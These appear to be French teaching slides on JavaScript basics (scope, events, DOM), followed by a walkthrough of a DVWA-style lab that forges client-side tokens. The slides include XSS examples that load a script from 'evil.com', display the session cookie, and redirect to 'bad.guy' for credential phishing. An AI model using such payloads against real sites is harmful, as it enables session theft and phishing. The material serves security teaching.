-
Vincent Mazenod authoredVincent Mazenod authored
js.md 5.92 KiB
javascript
aka ECMAScript
Javascript
- 95 netscape livescript
- interpréteur js propre au navigateur
- ie s'arrête de charger la page en cas d'erreur
- ff ou chrome essaient de continuer l'exécution
- sensible à la casse
- asynchrone
scope
-
var variable
- directement dans le script
- accessible partout y compris dans les fonctions
- dans les fonctions
- visibilité restreinte à la fonction
- directement dans le script
-
sans
var
visibilité globale
Note:
- on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js)
- Google a mis le pied sur l'accélérateur avec la sortie de chrome
- ca ve de mieuix en mieux en terme de comatibilité cross browser
Les événements
-
sur chaque élément
- chaque balise
- page
-
système d'événement
- orienté interaction utilisateur
Les événements
-
onload
- quand tous les éléments sont chargés
- il est alors possible de modifier les contenus
- quand tous les éléments sont chargés
-
onunload
- quand on quitte le navigateur
- abandonner car trop intrusif
- quand on quitte le navigateur
Les événements
-
onerror
- en cas d'échec
- chargement d'image ou d'iframe par exemple
- en cas d'échec
-
onsubmit
- quand un formulaire est soumis
- changer l'url d'un formulaire à la volée
- quand un formulaire est soumis
Le DOM
- Document Object Model
- document.referer (SEO)
- id unique getElementById
- renvoie un résultat
- getElementsByTagname
- renvoie un tableau d'elements
- la page en cours est le contexte
- history.back() c'est un autre contexte
- frame ...
Le DOM
- document.cookie
- values = document.cookie.split(';')
- "userid=maze;expires=friday 29 sept"
- souvent utilisé pour exploiter les XSS
- changer le contenu de la page
- rediriger la page
- changer l'url d'un formulaire
vrac
window représente l'environement du navigateurs
window.alert('PoC')
// affiche PoC en pop up
console.log('plus silencieux')
// affiche "plus silencieux"
// dans la console (F12)
alert(document.cookie);
// affiche le contenu du
// cookie de session en pop up
window.location = "http://bad.guy";
// redirige vers http://bad.guy
Note:
- redirection sur une page identique
- maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe
inclusion
dans le corps de la page
<script>alert('Poc');</script>
dans un fichier externe
<script src="http://evil.com/payload.js"></script>
directement dans les événements associés à un élément du DOM
<a onclick="javascipt:alert('clicked');">peacefull link</a>
<img onload="javascript:console.log('quieter');" />
AJAX / XMLHTTPRequest
- associé au web 2.0 (2006)
- existe depuis le début HTTP 1.0 (1989)
- google map éléments de la carte chargés et rafraichis au déplacement
- permet un appel asynchrone d'url
- sans recharger la page
- le résultat reçu est utilisable par js
- json
Apprendre JS
Faire du JS en 2023
Javascript / Low
-
analyse de la requête / formulaire
- champs hidden
token
-
https://beautifier.io
token = md5(rot13(phrase))
-
https://beautifier.io
- champs hidden
-
forcer
token = md5(rot13("success"))
- via la console / explorer du navigateur (F12)
Javascript / Medium
-
analyse de la requête / formulaire
- champs hidden
token
"XX" + reverse("ChangeMe") + "XX"
- champs hidden
-
forcer
token = "XXsseccusXX"
- via la console / explorer du navigateur (F12)
Javascript / High
- analyse de la requête / formulaire
- champs hidden
token
- interception de la requête avec
burpsuite
- la valeur soumise n'est pas celle du champs original
- interception de la requête avec
- champs hidden
- le code js est incompréhensible
Javascript / High
document
.getElementById("phrase")
.value = "";
token_part_1("ABCD", 44);
-
do_something(phrase);
- inverse la phrase
- mais elle est vide
- inverse la phrase
Javascript / High
-
token_part_2("XX")
est exécutée après 300ms
document
.getElementById("token")
.value = sha256(
"XX"
+ document
.getElementById("phrase")
.value
)
* c'est bien la valeur du token pour une phrase vide
Javascript / High
- La soumission du formulaire déclenche
token_part_3("ZZ")
- le paramètre
t
n'est pas utilisé- le jeton envoyé dans la requête est
sha256(document.getElementById("token").value + "ZZ")
sha256(
sha256("XX" + document.getElementById("phrase").value)
+ "ZZ"
)
Javascript / High
- considérant qu'en
2
la phrase a été inversée
token = sha256(sha256("XX" + "sseccus") + "ZZ")
//ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84
- mais
token_part_3
est toujours appelé à la soumission du formulaire- il faut forcer token avec
sha256("XX" + "sseccus")
//7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a
et bien mettre la phrase à success